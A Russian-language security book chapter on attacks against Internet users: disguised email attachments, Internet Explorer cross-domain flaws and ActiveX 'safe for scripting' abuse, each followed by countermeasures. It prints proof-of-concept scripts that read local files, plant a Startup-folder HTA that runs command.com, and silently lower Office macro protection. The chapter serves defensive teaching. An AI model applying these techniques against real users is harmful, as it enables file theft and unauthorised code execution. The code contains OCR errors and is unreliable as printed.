Атаки на пользователей INTERNET
До сих пор много говорилось об общепринятых методах взлома систем, принадлежащих различным компаниям и управляемых опытными администраторами. Ведь считается, что именно там находятся основные ценности, не так ли? Не может же зловредный хакер пытаться найти что-нибудь интересное на домашнем компьютере какой-нибудь старушки.
Но на самом деле, такая ситуация представляет собой лишь небольшую часть общей картины. В наше время неуклонно растет число людей, которые пользуются программными продуктами, являющимися объектом охоты хакеров: Web-броузерами, программами обработки электронной почты и другими всевозможными программами-клиентами Internet. Таким образом, каждый пользователь такого программного обеспечения может стать жертвой, а информация о его системе представляет такую же, если не большую ценность, чем та, которая имеет отношение к персоналу Web-сервера. Проблема усугубляется еще тем обстоятельством, что данные о конечных пользователях распределены гораздо шире, чем сведения о сервере.
С помощью описанных в этой главе инструментов и методов можно воздействовать не только на систему отдельного пользователя, но в значительной мере и на организацию, в которой он работает. Если принять во внимание, что каждый сотрудник фирмы, от главного администратора до простого служащего использует вышеупомянутое программное обеспечение на протяжении 90% своего рабочего времени (для чтения электронной почты и просмотра Web-страниц), то сразу станет очевидна вся серьезность проблемы как для корпоративного, так и для рядового пользователя Internet (кстати, и для той самой бабушки). Следует также учесть и то, какое негативное влияние на репутацию компании и на степень доверия к ней партнеров может оказать тот факт, что ее системы являются постоянным источником вирусов и других опасных программ, а компания не предпринимает соответствующих мер безопасности. Ну как, вы еще не задумались?
Судя по количеству информационных бюллетеней, посвященных обеспечению безопасности клиентского программного обеспечения Internet, которые были выпущены в 2000 году, число бойцов невидимого фронта, взламывающих системы пользователей Internet, растет как снежный ком. В конце концов, подходы, используемые для взлома клиентской части, лишь немногим отличаются от тех, которые применяются для взлома таких крупных серверов Internet, как www.amazon.com. Различие состоит лишь в степени затрачиваемых усилий и в масштабе всего мероприятия. Вместо того чтобы концентрировать усилия на одной мишени или определенном приложении Web-сервера, при взломе пользовательских систем хакер должен привести к общему знаменателю широкий спектр потенциальных жертв. Обычно в качестве таких критериев выбирается частое использование Internet, чрезвычайно популярные и широко используемые программные продукты компании Microsoft, а также недостаточное осознание проблем безопасности простыми смертными, которые работают с этим программным обеспечением.
В книге уже было описано немало атак, которые основываются на этих обстоятельствах. В главе 4 обсуждались взломы компьютеров, на которых установлены операционные системы компании Microsoft (Win 9x/ME), а среди обитателей Internet они составляют безоговорочное большинство. В главах 4 и 14 речь шла о программах типа "троянский конь" и средствах создания "потайных ходов", часто внедряемых в системы ничего не подозревающих пользователей, а также о социальной инженерии, эффективно применяемой хакерами для вовлечения операторов ЭВМ в свои злонамеренные замыслы. Методы, которые представлены в этой главе, также основываются на некоторых из вышеупомянутых принципов. Вы познакомитесь с самыми разнообразными и коварными способами внедрения "потайных ходов", а также с эффективным использованием социальной инженерии, когда активно применяются различные технические средства.
Прежде чем приступать к изложению основного материала, хотелось бы предупредить некоторых невыдержанных читателей о том, что все, о чем пойдет речь, требует умелого обращения. Без сомнения, найдутся читатели, которые будут критиковать книгу за подробное объяснение многих типов взломов. На это можно ответить следующим образом: только доскональное знание тактики противника может обезопасить потенциальных жертв. Знакомство с представленным материалом позволит многим пользователям открыть глаза на реальное положение дел. Читайте и набирайтесь знаний, позволяющих защитить свой уголок Internet.
Атаки с использованием вложений
Одной из наиболее удобных особенностей электронной почты является возможность вставки в сообщения файлов. Однако это удобство, позволяющее сэкономить время, имеет и очевидные отрицательные стороны, а именно: у пользователей появляется непреодолимая тяга запустить чуть ли не каждый файл, полученный по электронной почте. Кажется, никому не нужно напоминать, что это равносильно приглашению к себе в гостиную плохих парней.
В последующих разделах обсуждаются многие виды атак, основанных на использовании файлов, вставленных в электронные сообщения. Существует ряд механизмов, позволяющих замаскировать истинные цели файла-вложения или придать ему притягательную форму, при которой палец жертвы сам тянется к кнопке мыши. Некоторые из описанных видов атак являются намного более коварными, когда вложенный файл записывается на диск без какого бы то ни было участия со стороны пользователя и его уведомления. Большинство пользователей Internet понимают, что с вложениями электронной почты нужно обращаться крайне осторожно и с большой долей скептицизма. Авторы надеются, что следующий раздел окончательно утвердит их в этом мнении.
Взлом с использованием в качестве вложений файлов-оболочек
Малоизвестным секретом системы Windows является то, что у файлов с расширением . SHS их реальное расширение по умолчанию скрыто в соответствии с параметром системного реестра HKEY_CLASSES_ROOT\ShellScrap\NeverShowExt. Очевидно, что в этом не было бы ничего особенного, если бы эти файлы .SHS, также известные как объекты Shell Scrap Objects, не обладали возможностью запускать команды. Основанные на технологии Object Linking and Embedding (OLE), обсуждавшейся в разделе, посвященном элементам управления ActiveX, эти файлы являются, по существу, оболочками для других внедренных объектов. Такими объектами могут быть электронные таблицы Excel (большинство читателей знают, что их можно помещать в документы Word) или файлы другого типа. Самый простой способ создать такой файл — это поместить какой-либо файл в другое приложение, поддерживающее технологию OLE (например, Wordpad), а затем скопировать его пиктограмму в другую папку. Теперь файл, который мы вставляли, содержится в своем собственном файле-оболочке, имеет свою пиктограмму и уникальное расширение (SHS). При запуске файла SHS помещенный в него объект запускается вместе с ним. Более того, с помощью компонента Microsoft Object Packager с вложенным объектом можно связывать команды, что открывает новые возможности для тех, кто хоть немного знаком с DOS.
В июне 2000 года неизвестным злоумышленником был запущен "червь", получивший название LifeChanges. Его работа основывалась на описанных свойствах файлов . SHS. Этот "червь" направлялся в виде электронного сообщения с изменяющейся строкой темы, которая указывала на то, что во вложении находятся анекдоты. Файл вложения на самом деле был файлом . SHS с обманным расширением .ТХТ, которое делало его похожим на обычный текстовый файл (даже установленная по умолчанию пиктограмма этого файла была похожа на пиктограмму текстового файла). После запуска LifeChanges выполнял стандартные действия: рассылал себя по почте первым 50 адресатам из адресной книги жертвы, удалял файлы и т.д. Очень интересно было наблюдать, как кто-то выбрал основой для взлома коварную особенность файлов . SHS, которая была известна на протяжении нескольких лет, и с такой легкостью попал в хронику Web-узла PCHelp (http://www.pc-help.org/security/scrap.htm). Кто знает, сколько мин еще заложено в системном реестре Windows?
Контрмеры против использования файлов. SHS
На Web-узле PCHelp приведены некоторые замечательные советы по снижению риска от применения наиболее опасных свойств файлов . SHS. В число этих рекомендаций входят следующие.
Удалите упоминавшийся ранее параметр системного реестра NeverShowExt и параметр HKLM\SOFTWARE\Classes\DocShortcut, чтобы расширения . SHS и . SHB стали видны в Windows. (Файлы . SHB обладают аналогичными свойствами.)
Замените используемые антивирусные программы теми, в которых файлы . SHS и .SHB рассматриваются как исполняемые.
Полностью откажитесь от файлов-оболочек, удалив их из списка известных типов файлов Windows либо удалив из папки System файл shscrap.dll.
Сокрытие расширения вложения с помощью пробелов
18 мая 2000 года Волкер Вес (Volker Werth) поместил в списке рассылки Incidents сообщение, в котором говорилось об одном методе отправки вложений в почтовых сообщениях. Особенность этого метода заключалась в остроумном способе маскировки имени присоединенного файла. Вставка в имя файла символов пробелов (%20) приводила к тому, что почтовые программы отображали только первые несколько символов имени файла. Например,
freemp3.doc ... [150 пробелов]....ехе
Название этого вложения выглядит в интерфейсе пользователя как freemp3.doc. Сам файл кажется вполне безобидным и, казалось бы, его можно сохранить на диске или запустить прямо из почтовой программы. Вот как выглядит моментальный снимок окна программы Outlook Express.
Контрмеры против сокрытия имени присоединенного файла
Из приведенного рисунка видно, что файл вложения не является документом Word. На это указывает и троеточие (...)• Если этих признаков недостаточно, то вообще не стоит открывать файл вложения прямо из почтовой программы! В этом поможет модуль обновления Outlook SR-1 Security. После его установки пользователю придется принудительно сохранять на диске те файлы, которые могут нанести ущерб.
Методы социальной инженерии, помогающие ввести пользователя в заблуждение и загрузить вложение
Социальная инженерия — это действенный метод, помогающий убедить пользователя сохранить файл вложения на диске. Вам когда-нибудь встречалось сообщение со следующим текстом?
"This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set."
("В данном сообщении используется набор символов, которые не поддерживаются используемой службой Internet. Чтобы просмотреть содержимое первоначального сообщения, откройте вложенное сообщение. Если текст отображается некорректно, сохраните вложение на диске, а затем откройте его с помощью программы просмотра, которая может отобразить первоначальный набор символов".)
Это стандартное сообщение, которое создается в том случае, когда почтовые сообщения (в формате . EML) пересылаются пользователям Outlook и возникают некоторые ошибки с обработкой данных MIME вложенного/полученного сообщения. В этом случае каждый может попасться на крючок, что позволяет добиться запуска вложения (либо напрямую, либо после сохранения его на диске). Авторам доводилось получать такие сообщения даже с очень известных серверов. Конечно, это лишь одна из многочисленных возможностей, которой взломщики могут воспользоваться для реализации своих злонамеренных замыслов. Будьте бдительны!
Меры предосторожности против трюков с вложением
Контролируйте свои действия и не совершайте необдуманных поступков. Перед тем как запустить сохраненные на диске вложения, проверяйте их на наличие вирусов с помощью специальных программ. Даже если в результате проверки не будет обнаружено ничего подозрительного, перед запуском нужно всерьез подумать о том, кто является автором сообщения. При этом помните, что такие вирусы-"черви", как ILOVEYOU, могут быть получены даже от самых близких друзей.
Глобальные контрмеры против атак на пользователей Internet
В этой главе приведено множество опасных атак на пользователей Internet. Многие из описанных приемов направлены на то. чтобы обманным путем принудить пользователя запустить вирус, "червь" или другой опасный код. Кроме того, были представлены многие частные решения подобных проблем. Теперь пришло время познакомиться с общими методами зашиты против подобных атак.
Изъяны фреймов HTML в Internet Explorer
Малоизвестной особенностью броузера Internet Explorer является возможность использования доменной модели обеспечения безопасности ("cross-domain security model"). Исчерпывающее описание этой концепции можно найти по адресу http://www.microsoft.com/technet/security/bulletin/fq00-009.asp. Вкратце это означает следующее. Описываемая модель скрыто используется и предотвращает чтение, доступ и любые другие операции с данными, открытыми в окне одного узла (простейшая форма домена IE), со стороны окна другого узла. При таком подходе фреймы HTML, открытые в каком-либо окне, должны быть доступны только из родительского окна при условии, что оба они относятся к одному и тому же домену.
Интересной особенностью этой модели является то, что локальная файловая система, содержимое которой можно просматривать с помощью Internet Explorer, тоже рассматривается как домен. Таким образом, при нарушении доменной безопасности в распоряжении нечестных операторов Web-узлов окажется много возможностей просмотра данных не только других узлов, посещаемых пользователем, но и файлов, которые находятся на его собственном жестком диске.
Используя некоторые из возможных подходов, достаточно написать лишь несколько строк кода и поместить его на Web-узле или отправить в электронном сообщении. Ниже приведено несколько реализаций этой идеи.
Чтение других доменов с помощью дескриптора IFRAME и document.execCommand
Эксперт в области безопасности броузеров Георгий Гунински (Georgi Guninski) обнаружил несколько случаев нарушения модели доменной безопасности, предотвращающей обмен данными между доменами.
При реализации кода Георгий часто использовал дескриптор iFRAME, который уже упоминался выше. Этот дескриптор является расширением стандарта HTML 4.0. В отличие от стандартного дескриптора FRAME, i FRAME позволяет создать плавающий фрейм, который располагается посредине обычной Web-страницы, не содержащей фреймов, подобно вставленному в нее изображению. Это довольно простой способ вставки содержимого других узлов (и даже файловой системы) внутрь Web-страницы, который прекрасно подходит для скрытого получения доступа к данным других доменов.
Описываемая реализация представляет собой замечательный пример. В исходном файле дескриптор I FRAME служит для задания локального файла. Затем в I FRAME вставляется код JavaScript, который выполняется в домене файловой системы. Если нечестный оператор Web-узла знает имя файла (или может о нем догадаться) и его местоположение, то при желании он сможет просмотреть файл любого типа, который может быть открыт в окне броузера. Например, файл winnt\repair\sam._ таким способом прочитать не удастся, поскольку при этом на экран будет выведено диалоговое окно загрузки файла IE. Георгий представил пример кода, который считывает файл C:\test.txt (при условии, что он существует на диске пользователя).
Контрмеры
Установите модуль обновления, который можно найти по адресу http://www. microsoft.com/technet/security/bulletin/ms99-042.asp. Можно также отключить режим использования активных сценариев с помощью процедуры, описанной в разделе "Разумное Использование Зон Безопасности: Общее Решение Проблемы Элементов ActiveX".
Проверка принадлежности к доменам Internet Explorer
В июне 2000 года Эндрю Носенко (Andrew Nosenko) из компании Mead & Company сообщил о том, что в Internet Explorer две функции не выполняют надлежащую проверку принадлежности к домену. Это позволяет создать такую страницу HTML, которая открывала бы фрейм с локальным файлом и могла читать этот файл . В стремлении быть непревзойденным, Георгий Гунински тоже поместил на своем узле сообщение о подобной уязвимости. Код Георгия поражает обманчивой простотой.
<IFRAME ID="I1"X/IFRAME>
<SCRIPT for=Ii event="
NavigateComplete2(b)">
alert("Here is your file:
\n"+b.document.body.innerText);
</SCRIPT>
<SCRIPT>
II.navigate ( "file://c:/test.txt");
setTimeout('II.navigate
("file://c:/test.txt";',1000);
</SCRIPT>
Как и в предыдущем случае, в качестве цели был избран файл test. Но с таким же успехом можно считать любой другой файл системы пользователя, который можно просмотреть в броузере. Для этого нужно внести соответствующие изменения в строку file://с:/test.txt.
Контрмеры
Примените модуль обновления, который можно найти по адресу http://www. microsoft.com/technet/security/bulletin/fq00-033.asp. Как и в предыдущих случаях, альтернативной мерой является отключение активных сценариев. Эта предосторожность значительно ограничит функциональные возможности Web-узлов, работа которых основана на применении сценариев (см. раздел, посвященный зонам безопасности).
Элементы ActiveX компании Microsoft
Элементы управления ActiveX являются результатом повторной попытки фирмы Microsoft разработать модель мобильного кода. Их часто описывают как приспособленную для Web технологию создания документов со связыванием и внедрением объектов (Object Linking and Embedding — OLE). На самом деле это сильно упрощенная трактовка набора интерфейсов, спецификаций и претендующих на исключительность парадигм разработки, входящих в модель СОМ компании Microsoft (COM — Component Object Model), которая и составляет основу технологии ActiveX. В то же время подобные упрощения способствуют лучшему пониманию. Приложения ActiveX могут создаваться для выполнения определенных задач (таких как воспроизведение видео-или звукового файла). Их можно поместить на Web-страницу, и тогда эти программы будут выполнять свои функции при ее просмотре точно так же, как технология OLE поддерживает операцию вставки электронных таблиц Excel в документы Word.
Обычно файлы с элементами управления ActiveX имеют расширение .OCX (исключением являются элементы управления ActiveX, написанные на Java). Они вставляются в Web-страницы с помощью дескриптора OBJECT, в котором указано, откуда элемент управления нужно загрузить. Когда броузер Internet Explorer обрабатывает Web-страницу с внедренным в нее элементом управления ActiveX (или несколькими элементами управления), первым делом он обращается к локальному системному реестру. Там он пытается определить, имеется ли на компьютере требуемый компонент. Если это так, Internet Explorer отображает Web-страницу, загружает элемент управления в свое адресное пространство и выполняет его код. Если необходимый элемент управления не найден, Internet Explorer загружает его из того места, которое указано в дескрипторе <OBJECT>, и устанавливает на компьютере пользователя. Кроме того, с помощью сертификатов Authenticode (см. ниже) броузер выполняет верификацию автора кода, а затем запускает его. По умолчанию элементы управления кэшируются в каталоге \windows\occache.
Не выходя за рамки вышеописанной модели, хакер-программист может создать элементы управления ActiveX, которые будут выполнять на компьютере пользователя практически все, что захочется их автору. Что же может помочь в такой ситуации? Сертификаты Authenticode компании Microsoft. Эта подсистема позволяет разработчикам использовать механизмы шифрования и создавать для своего кода криптографические подписи, которые перед запуском элемента ActiveX будут аутентифицироваться броузером Internet Explorer и приложениями сторонних производителей (одним из таких производителей является компания Verisign Corporation).
Как же на самом деле используются сертификаты Authenticode? В 1996 году программист по имени Фред Маклейн (Fred McLain) написал элемент управления ActiveX, который корректно выключал пользовательский компьютер, если он работал под управлением операционной системы Windows 95 с улучшенным управлением электропитанием. Для этого кода, названного автором Internet Exploder (взрывная машинка Internet), компания Verisign выдана ему подлинный сертификат, после чего Маклейн разместил программу на собственном Web-узле. В результате недолгих дебатов о целесообразности такой публичной демонстрации модели безопасности Authenticode, компании Microsoft и Verisign лишили Маклейна сертификата, обвиняя его в нарушении обязательств, на которых основан этот документ. Элемент Exploder работает как и раньше, но при этом он информирует любителей попутешествовать в Internet о том, что код не зарегистрирован, и дает им возможность отказаться от его загрузки.
Автор предоставляет читателю возможность решить самому, можно ли в этом случае считать, что сертификаты Authenticode выполняют свои функции, или нет. Но не стоит забывать о том, что Маклейн мог бы написать код, выполняющий намного более опасные действия, чем простое выключение компьютера. К тому же он мог проделать все это абсолютно скрытно. На сегодняшний день элементы ActiveX по-прежнему являются важным механизмом, который обеспечивает успешное функционирование многих Web-узлов. Однако при этом нередко возникают дополнительные проблемы, наиболее серьезные из которых обсуждаются в следующих разделах.
Флаг "Safe for scripting" технологии ActiveX
Летом 1999 года Георгий Гунински (Georgi Guninski) и Ричард М. Смит (Richard М. Smith) (и не только они) независимо обнаружили два различных изъяна в методе обработки элементов ActiveX броузером Internet Explorer. Установив для элементов управления флаг "safe for scripting" ("помеченный как безопасный"), их разработчики могут полностью обойти обычную процедуру проверки сертификатов Authenticode. В качестве примеров таких элементов ActiveX можно привести Scriptlet. typelib и Eyedog.OCX, предназначенные для использования в IE4 и более ранних версиях. Если для этих элементов управления установлен флаг "safe for scripting", то при их запуске в броузере на экран не будет выводиться никаких сообщений.
Возможно, не стоит волноваться по поводу элементов управления ActiveX, выполняющих безобидные функции, однако и Scriptlet, и Eyedog имеют доступ к файловой системе пользователя. Элемент Scriptlet. typelib позволяет создавать, редактировать и перезаписывать файлы, хранящиеся на локальном диске, a Eyedog — обращаться к системному реестру и осуществлять сбор информации о технических параметрах компьютера.
Георгий Гунински написал проверочный код для элемента управления Scriptlet, который помещает в каталог Startup удаленного компьютера исполняемый текстовый файл с расширением .НТА (приложение HTML — HTML Application). При следующей перезагрузке системы этот файл выполняется, и на экране отображается безобидное сообщение от Георгия. Ниже приведен код, реализующий данную идею.
<object id="scr"
classid="clsid:06290BD5-48AA-HD2-8432-006008C3FBFC" >
</object> <SCRIPT> scr.Reset ();
scr.Path="C:\\windows\\Start
Menu\\Programs\\StartUp\\guninski.hta";
scr.Doc="<object id='wsh'
classid='clsid:F935DC22-1CFO-11DO-ADB9-OOC04FD58AOB'X/
object><SCRIPT>alert('Written by Georgi Guninski
wsh.Run('с:\\command.com')
;</"+"SCRIPT>";
scr.write(); </SCRIPT>
</object>
Этот изъян интерфейсов программного обеспечения, позволяющий получить к ним доступ, Ричард М. Смит (Richard M. Smith) назвал "случайным троянским конем". Установленные на жесткий диск многих пользователей вместе с таким популярными приложениями, как IE, данные элементы управления ActiveX ожидают, пока кто-нибудь не установит с ними удаленное соединение (http: //www. tiac.net/users /smiths/acetroj/index.htm).
Масштабы потенциального воздействия могут быть устрашающими. Чтобы установить флаг "safe for scripting" для элемента управления ActiveX, нужно либо реализовать в них интерфейсIObjectSafety, либо пометить их как безопасные. Для этого в системном реестре в ключ Implemented Categories, соответствующий данному элементу управления, необходимо добавить параметр 7DD95801-9882-11CF-9FA9-OOAA006C42C4 . Зачастую в системном реестре Windows находится несколько десятков таких элементов управления. Для подобных атак могут быть использованы те из них, которые могут выполнять действия с повышенными привилегиями (например, запись на диск или запуск кода).
Есть несколько способов, позволяющих определить, какие из элементов управления активно используются системой. Для обычного просмотра активных приложений СОМ (включая элементы управления ActiveX), установленных на компьютере, щелкните на кнопке Start, выберите команду Run и введите dcomcnfg. При этом на экране появится диалоговое окно, представленное на следующем рисунке.
Чтобы посмотреть, имеются ли среди этих объектов помеченные как "safe for scripting", воспользуйтесь утилитой oleview из набора NT Resource Kit (ее более новая версия входит в среду разработки приложений Visual Studio компании Microsoft). Утилита oleview позволяет просмотреть все зарегистрированные в системе объекты COM/ActiveX. Кроме того, она выводит их идентификатор класса (CLSID — Class ID), используемый при обращении к этим объектам в системном реестре, и многие важные параметры из поддерева Implemented Categories системного реестра.
Кроме того, утилита oleview отображает интерфейсы, экспортируемые объектами. Это помогает понять, является ли данный объект хорошей целью для взломщика, захват которой позволит выполнить операции с повышенными привилегиями.
Вполне закономерно, что почти год спустя хакером DilDog из группы "Cult of the Dead Caw" (см. главу 4 о знаменитом программном продукте Back Orifice) был обнаружен еще один подобный элемент управления под именем Office 2000 UA (OUA). Он регистрируется системой во время установки компонентов Microsoft Office. Для доказательства своей концепции хакер DilDog создал Web-страницу, посредством которой можно удаленно инстанцировать элемент OUA, установленный в системе пользователя, а затем с его помощью отключить защиту макросов документов Office без предупреждения пользователя. Далее с этой страницы загружается файл с именем evil .doc, в котором содержится простой макрос, создающий файл С: \dildog-was-here. txt. Удаленное инетанцирование OUA осуществляется с помощью следующего кода, внедренного на Web-странице. var ua;
function setup() {
// Создание элемента UA
ua = new ActiveXObject("OUACtrl.OUACtrl.1");
// Присоединение объекта ua к объекту ppt ua.WndClass=
"OpusApp"; ua.OfficeApp=0;
// Проверка того, что объекты UA "видят"
приложение Office return ua.IsAppRunning();
)
function disablemacroprotection()
{
var ret;
// Активизация приложения ua.AppActivate();
// Отображение диалогового окна защиты макросов
ua.ShowDialog(ОхОЕ2В);
// Щелчок на кнопке 'low' ua.SelectTabSDM(Ox!3);
// Щелчок на кнопке 'ok' ua.SelectTabSDM(l);
}
function enablemacroprotection()
{
// Активизация приложения
ua.AppActivate ();
// Отображение диалогового окна защиты макросов
ua.ShowDialog(OxOE2B);
// Щелчок на кнопке 'medium' ua.SelectTabSDM(0x12);
// Щелчок на кнопке 'ok'
ua.SelectTabSDM(1); }
// Начало выполнения сценария if(setupO)
{
disablemacroprotection();
parent.frames["blank"].location—
}
</script>
</body>
</html>
Элементы управления, помеченные как "safe for scripting", могут вызываться также из электронных сообщений в формате HTML. В этом случае их гораздо легче разместить в нужном месте, поэтому они могут быть более опасны. Подобные "бомбы" обсуждаются в следующих разделах, посвященных хакингу через электронную почту.
Защита от использования флага "safe for scripting"
Для защиты от этих серьезных изъянов пользователям Internet можно предложить три метода. Мы рекомендуем воспользоваться всеми тремя способами.
Во-первых, установите все имеющиеся модули обновления. Однако не забывайте о том, что это лишь локальное решение проблемы: при использовании этих модулей обновления флаг "safe for scripting" будет изменен только для конкретных элементов управления. Они не обеспечивают глобальной защиты против любых атак, основанных на применении других элементов управления, помеченных как безопасные. Мы еще не до конца обсудили "случайного троянского коня" и вернемся к нему немного позже.
Вторая контрмера направлена исключительно против элемента OUA и ему подобных, использующих для выполнения своей грязной работы макросы Office. В Office 2000 установите самый высокий уровень защиты макросов (High), выбрав команду Tools>Macro>Security (таким образом необходимо настроить каждое приложение в отдельности, поскольку это нельзя сделать глобально).
Третья и наиболее эффективная контрмера заключается в ограничении использования или полном отключении элементов управления ActiveX. О том, как это сделать, рассказывается в разделе, посвященном зонам безопасности. Но перед этим следует уделить внимание еще одному изъяну, связанному с элементами ActiveX.
Разработчикам можно посоветовать, чтобы они не устанавливали флаг "safe for scripting" для тех элементов управления, которые выполняют в пользовательской системе действия с высокими привилегиями. Конечно, это касается только тех, кто не хочет превзойти Георгия Гунинского.
После инстанцирования элементы управления ActiveX остаются в памяти до тех пор, пока не будут выгружены. Для этого в командной строке введите команду regsvr32 /u [Имя_элемента].
Активная загрузка файлов
Независимый исследователь проблем безопасности Хуан Карлос Гарсия Квартанго (Juan Carlos Garci'a Cuartango), внимание которого особенно привлекает броузер Internet Explorer, поместил на своем Web-узле информационное сообщение об одном из его изъянов. Это оказалось настолько важным, что сообшение было переведено на английский язык (тогда как остальная информация узла была представлена на испанском). Суть изъяна заключается в возможности генерирования состояния отказа в обслуживании (DoS — Denial of Service), если для загрузки файлов с расширением .CAB, имеющих сертификат компании Microsoft, используется элемент управления ActiveX. При этом файлы загружаются в любое указанное место диска, даже если для этого необходимо записать их поверх других файлов.
Контрмеры
Компания Microsoft выпустила соответствующий модуль обновления, который можно найти по адресу http://www.microsoft.com/security (Bulletin MS00-42).
В системе Windows 2000 защиту определенных системных файлов от перезаписи обеспечивает служба WFP (Windows File Protection).
Разумное использование зон безопасности: общее решение проблемы элементов ActiveX
Возможно, к этому моменту многие читатели пришли к выводу, что элементы управления ActiveX стали проклятием клиентов Internet, нарушающим спокойствие и безопасность пользователей. Такое мнение не учитывает основную закономерность: чем более мощной и распространенной становится технология, тем больший потенциал в ней заключен. И этот изъян способен привести к различным, в том числе и к разрушительным последствиям. Элементы управления ActiveX — мощная и популярная технология; поэтому она может принести большой вред, если служит злонамеренным целям (более полно возможности ActiveX раскрыты в последующих разделах, где рассказывается о хакинге электронной почты). Конечные пользователи всегда стремятся к автоматизации выполнения своих повседневных задач, и элементы ActiveX — это один из инструментов, который способен удовлетворить эти потребности. Можно просто закрыть глаза и надеяться, что на сегодня все обойдется, а потом на смену этому программному обеспечению придет новое. Однако это далеко не лучший выход. Новые технологии, находящиеся где-то за горизонтом, скорее всего, будут таить в себе примерно те же опасности.
Общим решением проблемы, связанной с элементами управления ActiveX (не важно, связана ли она с использованием флага "safe for scripting"), является ограничение их возможности осуществлять над системой привилегированный контроль. Для этого требуется определенное понимание одного из наиболее значительных аспектов обеспечения безопасности системы Windows — зон безопасности (security zone). Поэтому для повышения степени защиты необходимо научиться правильно их использовать.
Одной из лучших ссылок по этой теме является статья Q174360 из базы знаний компании Microsoft (http://support.microsoft.com). Там вы найдете много ценной информации о зонах безопасности.
По существу, модель зон безопасности позволяет определять разные уровни доверия для кода, загружаемого с одной из четырех зон: Local Intranet (Местная зона (интрасеть)), Trusted Sites (Зона надежных узлов), Internet (Зона Internet) и Restricted Sites (Зона ограниченных узлов). Существует еще пятая зона, которая называется Local Machine (Локальная машина), однако в пользовательском интерфейсе она недоступна, настроить ее можно только с помощью средств администрирования IEAK (IE Administration Kit)
В любую зону, за исключением зоны Internet, узлы можно добавлять вручную. В зоне Internet содержатся все узлы, не включенные в любую другую зону, которые содержат в своем URL символ точки (.) (например, узел http: //local по умолчанию входит в местную зону, тогда как узел http://www.microsoft.com находится в зоне Internet, поскольку в его адресе встречаются точки). При посещении узла, входящего в какую-то зону, активизируются соответствующие ей параметры безопасности (например, в зависимости от этого возможность запуска элементов управления ActiveX ("Run ActiveX controls") может быть разрешена или запрещена). Поэтому очень важно правильно настроить зону Internet, поскольку по умолчанию к ней относятся все посещаемые пользователями узлы. Конечно, если вручную добавить узел в другую зону, то на него это правило распространяться уже не будет. При перемещении узлов из одной зоны в другую будьте очень внимательны (в корпоративных локальных сетях наполнение других зон обычно производится администраторами этих сетей).
Чтобы настроить параметры безопасности зоны Internet, выберите в броузере Internet Explorer команду Tools^Internet Options и перейдите во вкладку Security (или запустите аплет Internet Options панели управления). Затем выберите в раскрывающемся списке элемент Internet zone и задайте требуемый уровень безопасности. Мы рекомендуем установить уровень безопасности High, а затем выбрать режим Custom Level и вручную настроить несколько других параметров, как показано в табл. 16.1.
Таблица 16.1. Рекомендуемые параметры безопасности зоны Internet( настройки уровня Custom Level нужно выполнять после того, как по умолчанию задан уровень безопасности High)
Категория |
Имя параметра |
Режим |
Комментарий |
ActiveX controls and plug-ins (элементы управления ActiveX и модули подключения) |
Script ActiveX controls marked as safe for scripting (выполнять сценарии элементов управления ActiveX, помеченных как безопасные) |
Disable (отключить) |
На взгляд авторов, пояснения излишни |
Cookies (файлы "cookie") |
Allow per-session cookies (not stored) (позволить использование cookies в течение одного сеанса (без сохранения)) |
Enable (использовать) |
Мы предпочитаем использовать режим Prompt (запрашивать), но тогда постоянно возникающее окно подтверждения становится слишком назойливым |
Downloads (загрузка) |
File download (загрузка файла) |
Enable (использовать) |
Хотелось бы в этом пункте порекомендовать режим Prompt, однако здравый смысл подсказывает, что лучше установить режим Enable |
Scripting (сценарии) |
Active scripting (активные сценарии) |
Prompt (запрашивать) |
В данном случае нельзя сформулировать четкие критерии, поэтому лучше активизировать более консервативный режим |
Отключение элементов управления ActiveX может сказаться на возможности просмотра узлов, на которых отображение различных спецэффектов основано на этих элементах. На заре развития Web динамическая работа многих узлов в значительной степени зависела от загружаемого кода, в том числе и от элементов ActiveX. К счастью, в настоящее время эта парадигма все больше вытесняется расширениями языка HTML и сценариями, выполняющимися на сервере. Поэтому при работе с большинством узлов отключение элементов ActiveX не приведет к возникновению проблем, как это было раньше. Очевидным исключением из этого правила являются узлы, на которых используются элементы управления Shockwave компании Macromedia. При попытке просмотра таких узлов на экране появится следующее сообщение.
Рис. 16.1. Отключение элементов управления ActiveX с помощью аплета Internet Options панели управления позволит защитить систему от загрузки вредоносных элементов управления с враждебных Web-страниц
Если вы все же хотите воспользоваться преимуществами звуковых и анимационных эффектов, обеспечиваемых элементами Shockwave, придется допустить использование элементов ActiveX (конечно, если не задействован броузер Netscape, в котором элементы Shockwave выступают в качестве подключаемых модулей). Другим ориентированным на элементы ActiveX узлом, который посещается многими пользователями, является узел Windows Update компании Microsoft (WU), на котором элементы ActiveX используются для сканирования компьютера пользователя, а также для загрузки и установки нужных модулей дополнения. Этот Web-узел оказался удачной идеей. Он позволяет сэкономить огромное количество времени, требуемого для поисков отдельных модулей обновления (что особенно важно для обеспечения безопасности!), и автоматически определить, была ли ранее установлена правильная версия. Однако мы не думаем, что из-за одного узла, предоставляющего такие удобства, стоит полностью разрешать использование элементов управления ActiveX. Еще хуже то, что после запрещения использования элементов ActiveX в броузере Internet Explorer нельзя воспользоваться механизмом автоматического поиска адреса по фрагменту URL, введенному в адресной строке (например, когда по подстроке mрЗ требуется найти узел http: //www.mp3. com).
Одно из возможных решений этой проблемы заключается в ручном включении режима применения элементов ActiveX во время посещения надежного узла. Затем его придется отключить, и снова вручную. Разумнее занести эти узлы в зону надежных узлов. Присвойте этой зоне более низкий уровень безопасности (рекомендуется Medium (Средний)), а затем добавьте в нее надежные узлы, например WU (windowsupdate.microsoft.com). Таким образом, при посещении узла WU будут применяться менее жесткие параметры безопасности, и будут доступны возможности узла, связанные с использованием элементов ActiveX. Аналогично добавление в зону Trusted Sites узла auto.search.msn.com позволит задать соответствующие установки безопасности, позволяющие осуществлять поиск по содержимому адресной строки. Удобно, не правда ли?
Соблюдайте осторожность и добавляйте в зону надежных узлов только те из них, которые пользуются высокой степенью доверия, поскольку к ним будет применяться меньше ограничений, связанных с загрузкой их активного содержимого и запуском. Следует иметь в виду, что даже респектабельный Web-узел может быть взломан хакерами-злоумышленниками, или в группе его разработчиков может оказаться негодяй, охотящийся за данными пользователей (а возможны и худшие варианты).
